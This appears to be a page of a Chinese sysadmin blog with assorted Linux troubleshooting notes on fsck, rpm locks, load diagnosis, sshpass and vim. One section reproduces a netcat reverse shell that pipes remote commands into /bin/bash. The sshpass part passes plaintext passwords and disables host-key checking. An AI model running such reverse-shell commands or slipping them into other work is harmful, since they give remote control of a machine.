fsck
fsck from util-linux-ng 2.17.2
e2fsck 1.41.12 (17-May-2010)
/dev/sda3: recovering journal
Error reading block 105417495 (Attempt to read block from filesystem resulted in short read).  Ignore error<y>? yes

Force rewrite<y>? yes

fsck.ext4: Bad magic number in super-block while trying to re-open /dev/sda3
e2fsck: io manager magic bad!

============================================
尽管上面没有啥文件,我选了Yes,于是出了问题:
fsck
-bash: /sbin/fsck: Input/output error
-------------------------------------------------
要选No:

尝试执行了一下fsck 直接出现了 修复提示,无任何异常!

如果出现这样的提示,就需要小心:

root@test ~]# fsck
fsck 1.35 (28-Feb-2004)
e2fsck 1.35 (28-Feb-2004)
/dev/sda1 is mounted.

WARNING!!! Running e2fsck on a mounted filesystem may cause
SEVERE filesystem damage.

Do you really want to continue (y/n)? no

check aborted.
[root@test ~]#
一定要选择NO,先拆卸文件系统,否则 对文件系统造成毁灭性的打击。


来自:http://blog.csdn.net/snowfoxmonitor/article/details/19121531
从网上搜索到方法进行解决:
cat /etc/zookeeper/conf/zoo.cfg
找到dataDir=/var/lib/zookeeper
切换到路径/var/lib/zookeeper
cd /var/lib/zookeeper
查看目录下的文件:
ls
存在version-2
删除version-2
mv ./version-2 ./version-2.bak
然后在zookeeper的实例中添加角色主机,启动成功。

看了老外的文章,下面是处理方法:
more /etc/zookeeper/conf.dist/zoo.cfg
找到datadir
[root@slave2 zookeeper]# pwd
/var/lib/zookeeper
[root@slave2 zookeeper]# ls
myid version-2 version-2.bak
清空version-2目录下的所有文件

来自:http://www.linuxdiyf.com/linux/16941.html
pmap -p pid
背景:突然Mount的磁盘脱落挂载了,是不是有人上去做过安全给搞丢了?想看看都是谁?

last -20



lastlog |less




Linux下查看用户登陆历史记录,可以用root用户下的last命令查看:
1.查看单个用户的操作历史
[root@DB-Server ~]# cat /home/username/.bash_history
#username要查看的用户名
2.使用root登陆可查看用户登陆历史
[root@DB-Server ~]# su root
[root@DB-Server ~]# last -10
root     pts/1        :0.0             Wed Dec 18 09:54   still logged in  
root     pts/4        :0.0             Wed Dec 18 09:43 - 09:48  (00:04)    
root     pts/1        :0.0             Wed Dec 18 09:43 - 09:48  (00:05)    
root     pts/3        192.168.103.79   Wed Dec 18 09:41 - 12:40  (02:59)    
root     pts/4        :0.0             Wed Dec 18 09:28 - 09:30  (00:01)    
root     pts/3        :0.0             Wed Dec 18 09:27 - 09:30  (00:02)    
root     pts/2        192.168.103.29   Wed Dec 18 09:27   still logged in  
root     pts/1        :0.0             Wed Dec 18 09:27 - 09:42  (00:15)    
root     pts/2        :0.0             Wed Dec 18 09:23 - 09:25  (00:01)    
root     pts/1        :0.0             Wed Dec 18 09:22 - 09:25  (00:02)
#查看最近10次用户历史操作记录
last 命令:

功能说明:列出目前与过去登入系统的用户相关信息。

语 法:last [-adRx][-f ][-n ][帐号名称…][终端机编号…]

参 数:

-a 把从何处登入系统的主机名称或IP地址,显示在最后一行;

-d 将IP地址转换成主机名称;

-f 指定记录文件;

-n 或- 设置列出名单的显示列数;

-R 不显示登入系统的主机名称或IP地址;

-x 显示系统关机,重新开机,以及执行等级的改变等信息;

lastlog可简单查看所有用户最后一次的登陆时间。

来自:https://zhidao.baidu.com/question/91897351.html
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
warning: waiting for transaction lock on /var/lib/rpm/__db.000

rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all


再安装也就好了:
rpm -ihv python-simplejson-2.0.9-8.el5.x86_64.rpm
Preparing...                ########################################### [100%]
   1:python-simplejson      ########################################### [100%]
================================================================
故障现象:
[root@localhost Mysql4.1.14.Rhel3]# rpm -ivh MySQL*
warning: waiting for transaction lock on /var/lib/rpm/__db.000

解决方法:
   因为prm数据库出现损坏导致,可能导致多数rpm软件的升级、安装或者删除都会有问题。
此错误,请以root身份输入以下命令:
rm -f /var/lib/rpm/__db.*
rpm --rebuilddb
yum clean all

来自:http://blog.csdn.net/yunsongice/article/details/5587631
结论:僵尸进程 杀杀杀  杀不死 重启机器  
The system is going down for halt NOW!
====================================================

uptime
16:22:19 up 735 days,  5:48,  7 users,  load average: 59.70, 58.29, 54.91
close_wait状态出现的原因是被动关闭方未关闭socket造成
tcp      179      0 127.0.0.1:80                127.0.0.1:4184              CLOSE_WAIT  -                  
tcp      175      0 127.0.0.1:80                127.0.0.1:6038              CLOSE_WAIT  -                  
tcp      177      0 127.0.0.1:80                127.0.0.1:4121              CLOSE_WAIT  -  

netstat -atlunp|grep 80|grep CLOSE_WAIT|wc
3716   26012  405044


----查看当前进程打开了多少句柄数

# lsof -n|awk '{print $2}'|sort|uniq -c|sort -nr|more
162 34255
162 33984
162 33525
162 33356 
........

其中第一列是打开的句柄数,第二列是进程ID。


[root@itv-api_php_bj_syq_10_70_XX_XX www]# service nginx restart
Stopping nginx:                                            [  OK  ]
Starting nginx: nginx: [warn] conflicting server name "common.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "api.itv.cctv.com" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "common.newcomment.cntv.cn" on 0.0.0.0:80, ignored
nginx: [warn] conflicting server name "newcomment.cctv.com" on 0.0.0.0:80, ignored


strace  -f -p 56014  -p 56015  -p 56016  -p 56017  -p 56018  -p 56019  -p 56020  -p 56021  -p 56022  -p 56023  -p 56024  -p 56025
attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted
Process 56015 attached - interrupt to quit
Process 56016 attached - interrupt to quit
Process 56017 attached - interrupt to quit
Process 56018 attached - interrupt to quit
Process 56019 attached - interrupt to quit

不是僵尸? 那就是孤儿

http://blog.csdn.net/wesleyluo/article/details/6079139
http://blog.chinaunix.net/uid-10257388-id-2967161.html
背景:面对一个不熟悉上面所跑哪些应用的16核心机器,出现负载到56这样的情况,而通过top命令后按P看CPU高的,也并不高,此时,可以想到的是某个核心太高,因为top里面默认的值是平均值,16个核心平均下来其CPU使用效率并不高,鉴于此,得在top输出时按下1,然后定位到某个核心高,才能有的放矢的查看该CPU上跑了哪些应用,贴个简单的命令吧,具体实践排查详细过程在:

实战,/usr/local/rsync/bin/rsync --daemon --config=/etc/rsyncd.conf :


Top命令下按1后第三行显示比较关键:
Cpu0  :  0.0%us,  0.0%sy,  0.0%ni,  0.0%id,100.0%wa,  0.0%hi,  0.0%si,  0.0%st
top命令的第三行“Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st”显示的内容依次为“用户空间占用CPU百分比”、“内核空间占用CPU百分比”、“用户空间内改变过优先级的进程占用CPU百分比”、“空闲CPU百分比”、“等待输入输出CPU时间百分比”、“CPU服务于硬件中断所耗费的时间总额”、“CPU服务软中断所耗费的时间总额”、“Steal Time”

Kipmi0 占用100% CPU1核:
https://yq.aliyun.com/articles/15198

方法1:使用iotop工具
这是一个python脚本工具,使用方法如:iotop -o


方法2:使用工具dmesg
使用dmesg之前,需要先开启内核的IO监控:
echo 1 >/proc/sys/vm/block_dump或sysctl vm.block_dump=1


然后可以使用如下命令查看IO最重的前10个进程:
dmesg |awk -F: '{print $1}'|sort|uniq -c|sort -rn|head -n 10


方法3:使用命令“iostat -x 1“确定哪个设备IO负载高:
# iostat -x 1 3
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           1.06    0.00    0.99    1.09    0.00   97.85


Device:    rrqm/s wrqm/s   r/s   w/s  rsec/s  wsec/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util
sda          0.49  17.29  1.74  6.75   23.47  200.18    11.73   100.09    26.33     0.10   12.25   5.73   4.87


找“await”值最大的设备(Device),如上的结果即为sda。


然后使用mount找到sda挂载点,再使用fuser命令查看哪些进程在访问,如:
# fuser -vm /data

==================================================================================
进程占用cpu资源过多负载高的原因分析及解决步骤
2011-10-20 10:30:05
标签:负载高 nginx 休闲 apache linux
觉得写的非常好,以后会用到 ,所以转了过来,一切归原作者所有!
转自这里
服务器环境:redhat linux 5.5 , nginx , phpfastcgi


在此环境下,一般php-cgi运行是非常稳定的,但也遇到过php-cgi占用太多cpu资源而导致服务器响应过慢,我所遇到的php-cgi进程占用cpu资源过多的原因有:


1. 一些php的扩展与php版本兼容存在问题,实践证明 eAccelerater与某些php版本兼容存在问题,具体表现时启动php-cgi进程后,运行10多分钟,奇慢无比,但静态资源访问很快,服务器负载也很正常(说明nginx没有问题,而是php-cgi进程的问题),解决办法就是从php.ini中禁止掉eAccelerater模块,再重启 php-cgi进程即可


2. 程序中可能存在死循环,导致服务器负载超高(使用top指令查看负载高达100+), 需要借助Linux的proc虚拟文件系统找到具体的问题程序


3. php程序不合理使用session , 这个发生在开源微博记事狗程序上,具体表现是有少量php-cgi进程(不超过10个)的cpu使用率达98%以上, 服务器负载在4-8之间,这个问题的解决,仍然需要借助Linux的proc文件系统找出原因。


4. 程序中存在过度耗时且不可能完成的操作(还是程序的问题),例如discuz x 1.5的附件下载功能: source/module/forum/forum_attachement.php中的定义
function getremotefile($file) {
global $_G;
@set_time_limit(0);
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}  


没有对传入的参数作任何初步检查,而且设置了永不超时,并且使用readfile一次读取超大文件,就可能存在以下问题:
A. 以http方式读取远程附件过度耗时
B. FTP无法连接时,如何及时反馈出错误?
C. readfile是一次性读取文件加载到内存中并输出,当文件过大时,内存消耗惊人


根据实验发现采用readfile一次性读取,内存消耗会明显增加,但是CPU的利用率会下降较多。如果采用分段读取的方式,内存消耗会稍微下降,而CPU占用却会明显上升。


对discuz x 1.5的这个bug较好解决方法就是后台重新正确设置远程附件参数。


以下是我逐步整理的故障排除步骤:


1. 得到占用cpu资源过多的php-cgi进程的pid(进程id), 使用top命令即可,如下图:
经过上图,我们发现,有两个php-cgi进程的cpu资源占用率过高,pid分别是10059,11570,这一般都是程序优化不够造成,如何定位问题的php程序位置?


2. 找出进程所使用的文件
/proc/文件系统保存在内存中,主要保存系统的状态,关键配置等等,而/proc/目录下有很多数字目录,就是进程的相关信息,如下图,我们看看进程10059正在使用哪些文件?
显然,使用了/home/tmp/sess_*文件,这明显是PHP的session文件, 我们查看这个session文件的内容为:view_time|123333312412


到这里,我们已经可以怀疑是由于php程序写入一个叫view_time的session项而引起, 那么剩余的事件就是检查包含view_time的所有php文件,然后修改之(比如改用COOKIE),这实话, 这个view_time并非敏感数据,仅仅记录用户最后访问时间,实在没必要使用代价巨大的session, 而应该使用cookie。


3. 找出有问题的程序,修改之
使用vi编辑以下shell程序(假设网站程序位于/www目录下)
#!/bin/bash
find /www/ -name "*.php" > list.txt

f=`cat ./list.txt`

for n in $f
do
r=`egrep 'view_time' $n`
if [ ! "$r" = "" ] ; then
echo $n
fi
done  
运行这个shell程序,将输出包含有view_time的文件, 对记事狗微博系统,产生的问题位于modules/topic.mod.class文件中
来自这里
大家好,公司有一台服务器上部署了mysql+php+apache!
但是发现apache有一个httpd进程占用很高的cup,请教有没有什么命令能查看到时什么文件调用了这个进程?

lsof -p 13321


http://blog.csdn.net/aquester/article/details/51557879
http://blog.chinaunix.net/uid-7934175-id-4013411.html
Linux字符串md5,注意得echo -n ,-n就是去空格,如果不加 -n则会有空格输出:
echo -n re0XY6?ki|md5sum|awk '{print $1}'
270899509597f424b626b14034622c89
------------------------------------------------------------
mysql> select md5("re0XY6?ki");
+----------------------------------+
| md5("re0XY6?ki")                 |
+----------------------------------+
| 270899509597f424b626b14034622c89 |
+----------------------------------+
1 row in set (0.00 sec)
=============================================

Linux系统有一个自带的生成密码的命令,这个命令异常强悍,可以帮助我们生成随机密码,要知道,现在的黑客无处不在,想一个难猜的密码还真的下点功夫,有了这个密码生成工具,就可以为管理员节省好多脑细胞啊,下面看下这个命令的使用:

[root@CentOS6 game-dir]# mkpasswd

JI>s64tyv

[root@centos6 game-dir]# mkpasswd -l 12

e/Hwyw8Kied6

[root@centos6 game-dir]# mkpasswd -l 12 -d 3

zas4Ery+5K8l

[root@centos6 game-dir]# mkpasswd -l 12 -c 4

ff9bT7b}npmM

[root@centos6 game-dir]# mkpasswd -l 12 -C 4

x3TwqtSKh}2T

[root@centos6 game-dir]# mkpasswd -l 12 -s 4

px}[aO8cF':8

[root@centos6 game-dir]# mkpasswd -l 18 -s 4 -c 4 -C 4

;.8zW3dGiwmb@dyWO&

下面来简单介绍一下常用的参数含义:

usage: mkpasswd [args] [user]

where arguments are:

-l #      (length of password, default = 7)

                  指定密码的长度,默认是7位数

-d #      (min # of digits, default = 2)

                  指定密码中数字最少位数,默认是2位

-c #      (min # of lowercase chars, default = 2)

                  指定密码中小写字母最少位数,默认是2位

-C #      (min # of uppercase chars, default = 2)

                  指定密码中大写字母最少位数,默认是2位

-s #      (min # of special chars, default = 1)

                  指定密码中特殊字符最少位数,默认是1位

-v        (verbose, show passwd interaction)

                  这个参数在实验的时候报错,具体不知道。
yum install -y sysstat

查看所有CPU内每一个处理器负载,刷新频率1S(根据物理CPU个数)
mpstat -P ALL 1

点击在新窗口中浏览此图片


查看指定的处理器负载(-P 后的数字从0开始),刷新频率1S
mpstat -P 0 -P 1 1

点击在新窗口中浏览此图片

yum install -y iotop

查看进程IO
iotop

点击在新窗口中浏览此图片


cpu使用率低负载高,原因分析:
http://www.fblinux.com/?p=281


Linux 系统没有业务程序运行,通过 top 观察,类似如下图所示,CPU 很空闲,但是 load average 却非常高:
处理办法:
load average 是对 CPU 负载的评估,其值越高,说明其任务队列越长,处于等待执行的任务越多。
出现此种情况时,可能是由于僵死进程导致的。可以通过指令 ps -axjf  查看是否存在 D 状态进程。
D 状态是指不可中断的睡眠状态。该状态的进程无法被 kill,也无法自行退出。只能通过恢复其依赖的资源或者重启系统来解决。
From:https://help.aliyun.com/knowledge_detail/41225.html
背景:百度云是个好东西,Linux 下能命令行使用是最好不过的了。

yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
-bash: yum-config-manager: 未找到命令


系统默认没有安装这个命令,这个命令在yum-utils 包里,可以通过命令yum -y install yum-utils 安装就可以了。
步骤一:先找到软件包安装路径
whereis yum-config-manager
yum-config-manager: /usr/bin/yum-config-manager /usr/share/man/man1/yum-config-manager.1.gz

步骤二:再根据RPM包的命令传入程序路径后反查到这个软件所属于哪个RPM包:
rpm -qf /usr/bin/yum-config-manager
yum-utils-1.1.31-40.el7.noarch

================================================================
CentOS 7 使用如下命令安装 bcloud:
# yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
# yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
# yum install bcloud


来自:http://jingyan.baidu.com/article/4dc40848b761cbc8d846f172.html

实践如下:
yum-config-manager --add-repo=https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-$(rpm -E %?rhel)/mosquito-myrepo-epel-$(rpm -E %?rhel).repo
已加载插件:fastestmirror
adding repo from: https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo
grabbing file https://copr.fedoraproject.org/coprs/mosquito/myrepo/repo/epel-7/mosquito-myrepo-epel-7.repo to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo
repo saved to /etc/yum.repos.d/mosquito-myrepo-epel-7.repo

关闭打开仓库:
yum-config-manager --disable extras
extras之前没有enabled = *这项,而运行后,就有这一项了:
[extras]
  name=CentOS-$releasever – Extras
  baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
  gpgcheck=1
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
  enabled = 0
打开刚关闭的仓库:
yum-config-manager --enable extras
[extras]
name=CentOS-$releasever – Extras
baseurl=https://mirrors.ustc.edu.cn/centos/$releasever/extras/$basearch/
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
enabled = 1


yum localinstall http://li.nux.ro/download/nux/dextop/el$(rpm -E %rhel)/x86_64/nux-dextop-release-0-2.el$(rpm -E %rhel).nux.noarch.rpm
依赖关系解决

=========================================================================================================================================================================================
Package                                     架构                            版本                                  源                                                               大小
=========================================================================================================================================================================================
正在安装:
nux-dextop-release                          noarch                          0-2.el7.nux                           /nux-dextop-release-0-2.el7.nux.noarch                          3.5 k
为依赖而安装:
epel-release                                noarch                          7-9                                   epel                                                             14 k

事务概要
=========================================================================================================================================================================================
安装  1 软件包 (+1 依赖软件包)

总计:18 k
安装:
  nux-dextop-release.noarch 0:0-2.el7.nux                                                                                                                                                

作为依赖被安装:
  epel-release.noarch 0:7-9                                                                                                                      



yum clean all


yum install bcloud
已加载插件:fastestmirror
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
https://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo/epel-7-x86_64/repodata/repomd.xml: [Errno 14] HTTPS Error 404 - Not Found
正在尝试其它镜像。
To address this issue please refer to the below knowledge base article

https://access.redhat.com/articles/1320623

If above article doesn't help to resolve this issue please create a bug on https://bugs.centos.org/

nux-dextop                                                                                                                                                        | 2.9 kB  00:00:00    
nux-dextop/x86_64/primary_db                                                  44% [=============================-                                      ]  32 kB/s | 745 kB  00:00:29 ETA




http://www.linuxdown.net/soft/2015/0127/3799.html
https://github.com/houtianze/bypy/blob/master/README.md



./gh
529960480-handle-gethostbyname
hostname=justwinit-php-mysql_bj_sjs_10_44_202_177
addr:127.0.0.1

来自:http://blog.csdn.net/zzz_781111/article/details/7372024
背景:在用Ansible的脚本初始化环境时,在CentOS5.x出现No Package matching 'cronie' found available,而在CentOS6.x上是OK的。
原因:centos6有些商家镜像没有带crontab,需要的话要自己安装,但是centos6和centos5安装crontab是不一样的,因为变更了一些依赖关系。

CentOS6.x:
/usr/bin/crontab -e
rpm -qf /usr/bin/crontab
cronie-1.4.4-15.el6_7.1.x86_64

注意:On CentOs 6 you can still install vixie-cron, but the real package is cronie:
yum install vixie-cron -y
实践成功如下:


CentOS5.x:

经之前旧的CentOS安装有Crontab的服务器上通过rpm命令反查crontab:
/usr/bin/crontab -e
rpm -qf  /usr/bin/crontab
vixie-cron-4.1-81.el5

crontab package in CentOS is vixie-cron.



service crond restart
Stopping crond:                                            [  OK  ]
Starting crond:                                            [  OK  ]


On CentOS 7 vixie-cron is not longer available, so you need to use cronie:
yum install cronie

From:http://www.zxsdw.com/index.php/archives/1151/
背景:在多台机器上同步一个文件,尤其是刚开始重装系统或没有ansible这样的运维工具,比如想批量给升级一下yum源,用rz 是可以的,如果十来台还成,上五十台就有点麻烦了。sshpass是个好东西,结合scp和shell能完成很多台机器的文件的拷贝,然后结合sudo把文件挪动到root才能去的地方。其实还有一个expect脚步也有这个自动捕获输出并自动输入密码。但如果是第一次连接,expect可能捕获的输出可能是yes啥的输出,spawn这个命令也是expect的rpm包的一个命令,但都得yum安装,这个引出新的安装问题,http://justwinit.cn/post/5089/,还是讲sshpass包。

关于sshpass:
rpm -qf /usr/bin/sshpass
sshpass-1.05-1.el6.x86_64
sshpass-1.06-1.el6.x86_64

sshpass: 用于非交互的ssh 密码验证

ssh登陆不能在命令行中指定密码,也不能以shell中随处可见的,sshpass 的出现,解决了这一问题。它允许你用 -p 参数指定明文密码,然后直接登录远程服务器。 它支持密码从命令行,文件,环境变量中读取


实践如下:
cd /home/xiangdong
vi /home/xiangdong/ssh.passwd


同样,因为密码一样,可以起多个这样的免密拷贝,包括命令执行:


如果说ansible 的command命令不行,那就用那个raw更底层一些,如下,做解压:

来自:http://jackxiang.com/post/8807/


$> sshpass -h

Usage: sshpass [-f|-d|-p|-e] [-hV] command parameters
   -f filename Take password to use from file
   -d number Use number as file descriptor for getting password
   -p password Provide password as argument (security unwise)
   -e Password is passed as env-var "SSHPASS"
   With no parameters - password will be taken from stdin

   -h Show help (this screen)
   -V Print version information
At most one of -f, -d, -p or -e should be used

sshpass [-f|-d|-p|-e] [-hV] command parameters 中的 command parameters 和使用交互式密码验证的使用方法相同

#从命令行方式传递密码

    $> sshpass -p user_password ssh user_name@192.168..1.2
    $> sshpass -p user_password scp -P22 192.168.1.2:/home/test/t .

#从文件读取密码

    $> echo "user_password" > user.passwd
    $> sshpass -f user.passwd ssh user_name@192.168..1.2

#从环境变量获取密码

    $> export SSHPASS="user_password"
    $> sshpass -e ssh user_name@192.168..1.2


[oldboy@backup ~]$ sshpass -p 123456 ssh 172.16.1.31

#第一次操作可能没反应,可用下述参数解决

[root@backup ~]# sshpass -p 123456 ssh -p 22 172.16.1.31 -o StrictHostKeyChecking=no

Warning: Permanently added '172.16.1.31' (RSA) to thelist of known hosts.

Last login: Fri Jun 10 15:32:52 2016 from 10.0.0.1

[root@nfs01 ~]# logout



[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31 -o StrictHostKeyChecking=no

Last login: Fri Jun 10 15:57:47 2016 from 172.16.1.41

[root@nfs01 ~]# logout

2、2、1#直接带密码连接服务器

[root@backup ~]# sshpass -p 123456 ssh 172.16.1.31

Last login: Fri Jun 10 15:57:35 2016 from 172.16.1.41

[root@nfs01 ~]# logout

2、2、2#以文件形式保存密码连接服务器

[root@backup ~]# echo "123456">ssh.passwd

[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31

Last login: Fri Jun 10 16:00:06 2016 from 172.16.1.41

[root@nfs01 ~]# logout

Connection to 172.16.1.31 closed.

2、2、3#将密码写入变量

[root@backup ~]# export SSHPASS="123456"

[root@backup ~]# sshpass -e ssh 172.16.1.31

Last login: Fri Jun 10 16:05:14 2016 from 172.16.1.41

[root@nfs01 ~]# logout

Connection to 172.16.1.31 closed.

2、2、4#同理远程拉取、推送文件、执行命令等操作scp,rsync均可。

[root@backup ~]# sshpass -f ssh.passwd scp /etc/hosts172.16.1.31:/root/

[root@nfs01 ~]# pwd

/root

[root@nfs01 ~]# ls -l hosts

-rw-r--r-- 1 root root 158 Jun 10 16:13 hosts

[root@backup ~]# sshpass -f ssh.passwd ssh 172.16.1.31 ls /root/

anaconda-ks.cfg

hosts

install.log

install.log.syslog


3、总结

sshpass的优点:简单易用,速度会比expect快很多。

sshpass的缺点:-p参数密码是明文显示,可以通过history查看。-f参数则需要对面文件进行权限限制,保证他人无法查看。-e参数别人也可以查到IP。

来自:http://blog.51cto.com/ylcodes01/1789306
源码位置:http://sourceforge.net/projects/sshpass/
摘录自:http://m.blog.csdn.net/article/details?id=7293274
按顺序开三个SecureCRT终端,在一里面输入echo "hello jackX",会在二里面显示hello jackX:
一、
nc -l -p 1234 -vv
echo "hello jackX"

二、
nc -l -p 4321 -vv
hello jackX

三、
nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
nc 123.57.252.183 1234|/bin/bash|nc 123.57.252.183 4321



这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。

管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.44.202.177:4321显示。



nc -l -p 4321 -vv
nc -l -p 4321 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:59294.


nc -l -p 1234 -vv
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.44.202.177.
Ncat: Connection from 10.44.202.177:51650.


nc 10.44.202.177 1234|/bin/bash|nc 10.44.202.177 4321
触发上面两个。

摘自实践自:【【安全客】Linux渗透之反弹Shell】http://m.toutiao.com/group/6398009141268365570/?iid=7737129548&app=news_article&tt_from=copy_link&utm_source=copy_link&utm_medium=toutiao_ios&utm_campaign=client_share
使用”q/“命令打开了command-line窗口,这个窗口列出了我之前所查找的字符串。我现在想查找包含”check_swap“,于是先跳到第399行,把”check_tty“改为”check_swap“,然后按回车。此时vim就去查找包含”check_swap“位置了。这个例子比较简单,你可能觉得command-line窗口没什么必要,但如果你要查找的内容是一个很长的正则表达式,你就会发现它非常有用了。

一、vim在窗口的最上面显示当前打开文件的路径和文件名
在~/.vimrc 中添加如下代码,配置vim窗口最上边的显示内容:

let &titlestring = expand("%:p")
if &term == "screen"
  set t_ts=^[k
  set t_fs=^[\
endif
if &term == "screen" || &term == "xterm"
  set title
endif


如果把上面代码中的expand("%:p")换成expand("%:t")将不显示路径只显示文件名。
一句话——在里面输入:pwd即可
来自:http://blog.sina.com.cn/s/blog_4ddef8f80101ecw4.html

二、vim 跳到指定行:
在编辑模式下输入
ngg 或者 nG


n为指定的行数(如25)


25gg或者25G 跳转到第25行.


在命令模式下输入行号n


: n


如果想打开文件即跳转


vim +n FileName


查看当然光标所在的行
Ctrl+g

三、移动光标到下一个单词的词首和移动光标到下一个单词的词首:
vim中,移动光标到下一个单词的词首,使用命令”w“,移动光标到下一个单词的词首,使用命令”b“;移动光标到下一个单词的结尾,用命令”e“,移动光标到上一个单词的结尾,使用命令”ge“。


四、[ 移动到指定字符 ],这里发现t命令用不了:

上面的命令都是行间移动(除h, l外),也就是从当前行移动到另外一行。如果我们想在当前行内快速移动,可以使用f, t, F, T命令。

“f“命令移动到光标右边的指定字符上,例如,”fx“,会把移动到光标右边的第一个’x’字符上。”F“命令则反方向查找,也就是移动到光标左边的指定字符上。

“t“命令和”f“命令的区别在于,它移动到光标右边的指定字符之前。例如,”tx“会移动到光标右边第一个’x’字符的前面。”T“命令是”t“命令的反向版本,它移动到光标右边的指定字符之后。

这四个命令只在当前行中移动光标,光标不会跨越回车换行符。

可以在命令前面使用数字,表示倍数。例如,”3fx“表示移动到光标右边的第3个’x’字符上。

“;“命令重复前一次输入的f, t, F, T命令,而”,“命令会反方向重复前一次输入的f, t, F, T命令。这两个命令前也可以使用数字来表示倍数。

来自:http://easwy.com/blog/archives/advanced-vim-skills-basic-move-method/
http://www.360doc.com/content/15/0824/20/26347842_494523898.shtml
sudo update-manager。
此时,系统就会开始检查是否有软件或者内核更新。
如果有更新,就会弹出上面的软件更新器。
Ubuntu软件或系统更新
好了,我们点击立即安装。
Ubuntu软件或系统更新
此处,需要提示大家的是,我们在此处也可以点击 软件更新器的设置,打开 软件和更新弹窗,进行一些设置。
Ubuntu软件或系统更新
我们此处不做设置,点击关闭后,再点击立即安装,开始升级系统。
点击,详情,可以查看进度及更新的软件包情况。
Ubuntu软件或系统更新
Ubuntu软件或系统更新
等待一段时间后,更新结束。
提示:计算机需要重启以完成安装更新。


来自:http://jingyan.baidu.com/article/a17d5285113afc8098c8f2e3.html?qq-pf-to=pcqq.group
ubuntu 16.04在升级17.04时候,出现Failed to start Load Kernel Modules 解决方法:
升级的时候不小心重启了,就看到出现这个错误,鼠标挂了,wifi没了,当时感觉是重装系统的节奏了,搜了下,有治。方法如下:
进入到命令行模式:ctl + alt + F1
在root模式下输入一下指令:
apt-get update

dpkg --configure -a

apt-get dist-upgrade

apt-get -f install

reboot

到此就可以了,这是在ubuntuforums.org上看到的。特此记录!!!

来自:http://m.blog.csdn.net/article/details?id=54091293
https://askubuntu.com/questions/809199/failed-to-start-load-kernel-modules-ubuntu-16-04
分页: 7/32 第一页 上页 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 下页 最后页 [ 显示模式: 摘要 | 列表 ]